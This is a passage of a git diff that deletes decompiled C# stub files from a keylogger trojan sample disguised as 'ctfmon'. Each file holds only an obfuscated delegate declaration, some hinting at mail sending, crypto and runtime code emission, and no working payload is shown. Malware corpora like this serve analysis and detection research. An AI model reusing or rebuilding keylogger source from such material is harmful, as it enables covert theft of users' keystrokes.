C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; -using System.Security.Cryptography; - -internal delegate ICryptoTransform \u008C\u0002([In] object obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008C_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008C_0003.cs deleted file mode 100644 index 25f8b53e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008C_0003.cs +++ /dev/null @@ -1,7 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Œ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -internal delegate string \u008C\u0003(); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008D.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008D.cs deleted file mode 100644 index 13ff13f3..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008D.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate bool \u008D([In] object obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008D_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008D_0002.cs deleted file mode 100644 index 7edaf0ad..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008D_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u008D\u0002([In] object obj0, [In] EventHandler obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008D_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008D_0003.cs deleted file mode 100644 index fc173a79..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008D_0003.cs +++ /dev/null @@ -1,7 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -internal delegate bool \u008D\u0003(); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008E.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008E.cs deleted file mode 100644 index ee399476..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008E.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Ž -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate byte[] \u008E([In] string obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008E_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008E_0002.cs deleted file mode 100644 index 342d1190..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008E_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Ž -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System; - -internal delegate DateTime \u008E\u0002(); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008E_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008E_0003.cs deleted file mode 100644 index 1b1cc799..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008E_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Ž -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Net.Mail; -using System.Runtime.InteropServices; - -internal delegate void \u008E\u0003([In] object obj0, [In] MailMessage obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008F.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008F.cs deleted file mode 100644 index f9bf515e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008F.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate int \u008F([In] object obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008F_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008F_0002.cs deleted file mode 100644 index a629ab8f..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008F_0002.cs +++ /dev/null @@ -1,11 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System; -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate Delegate \u008F\u0002([In] Type obj0, [In] MethodInfo obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008F_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008F_0003.cs deleted file mode 100644 index 21e00ea4..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008F_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate void \u008F\u0003([In] object obj0, [In] bool obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0090.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0090.cs deleted file mode 100644 index 25ed5532..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0090.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.Runtime.InteropServices; - -internal delegate void \u0090([In] object obj0, [In] ShutdownEventHandler obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0090_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0090_0002.cs deleted file mode 100644 index 5f8d965e..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0090_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate long \u0090\u0002([In] object obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0090_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0090_0003.cs deleted file mode 100644 index 47c611ce..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0090_0003.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Windows.Forms; - -internal delegate Cursor \u0090\u0003(); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0091.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0091.cs deleted file mode 100644 index b07a4106..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0091.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‘ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0091([In] object obj0, [In] byte[] obj1, [In] int obj2, [In] int obj3); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0091_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0091_0002.cs deleted file mode 100644 index a9e77460..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0091_0002.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‘ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate void \u0091\u0002([In] object obj0, [In] object obj1, [In] object obj2); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0091_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0091_0003.cs deleted file mode 100644 index 6d78b8d5..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0091_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ‘ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Reflection.Emit; -using System.Runtime.InteropServices; - -internal delegate void \u0091\u0003([In] object obj0, [In] OpCode obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0092.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0092.cs deleted file mode 100644 index c12d6329..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0092.cs +++ /dev/null @@ -1,7 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ’ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -internal delegate string[] \u0092(); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0092_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0092_0002.cs deleted file mode 100644 index b219778f..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0092_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ’ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate Module[] \u0092\u0002([In] object obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0092_0003.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0092_0003.cs deleted file mode 100644 index ec6075f0..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0092_0003.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ’ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Reflection.Emit; -using System.Runtime.InteropServices; - -internal delegate void \u0092\u0003([In] object obj0, [In] OpCode obj1, [In] int obj2); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0093.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0093.cs deleted file mode 100644 index 6df161a5..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0093.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: “ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Reflection; -using System.Runtime.InteropServices; - -internal delegate MethodInfo[] \u0093([In] object obj0, [In] BindingFlags obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0093_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0093_0002.cs deleted file mode 100644 index e017341b..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0093_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: “ -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate string \u0093\u0002([In] DateTime obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0094.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0094.cs deleted file mode 100644 index 1cc22b91..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0094.cs +++ /dev/null @@ -1,9 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ” -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System.Runtime.InteropServices; - -internal delegate string \u0094([In] string obj0, [In] string[] obj1); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0094_0002.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0094_0002.cs deleted file mode 100644 index 45d48a61..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0094_0002.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ” -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using System; -using System.Runtime.InteropServices; - -internal delegate void \u0094\u0002([In] EventHandler obj0); diff --git a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0095.cs b/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0095.cs deleted file mode 100644 index 383820c2..00000000 --- a/MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0095.cs +++ /dev/null @@ -1,10 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: • -// Assembly: ctfmon, Version=6.0.1.0, Culture=neutral, PublicKeyToken=null -// MVID: 2B1874D2-B5D6-4FC2-9C40-41C2D3A7E9B2 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9.exe - -using Microsoft.VisualBasic; -using System.Runtime.InteropServices; - -internal delegate void \u0095([In] string obj0, [In] FileAttribute obj1); diff --git 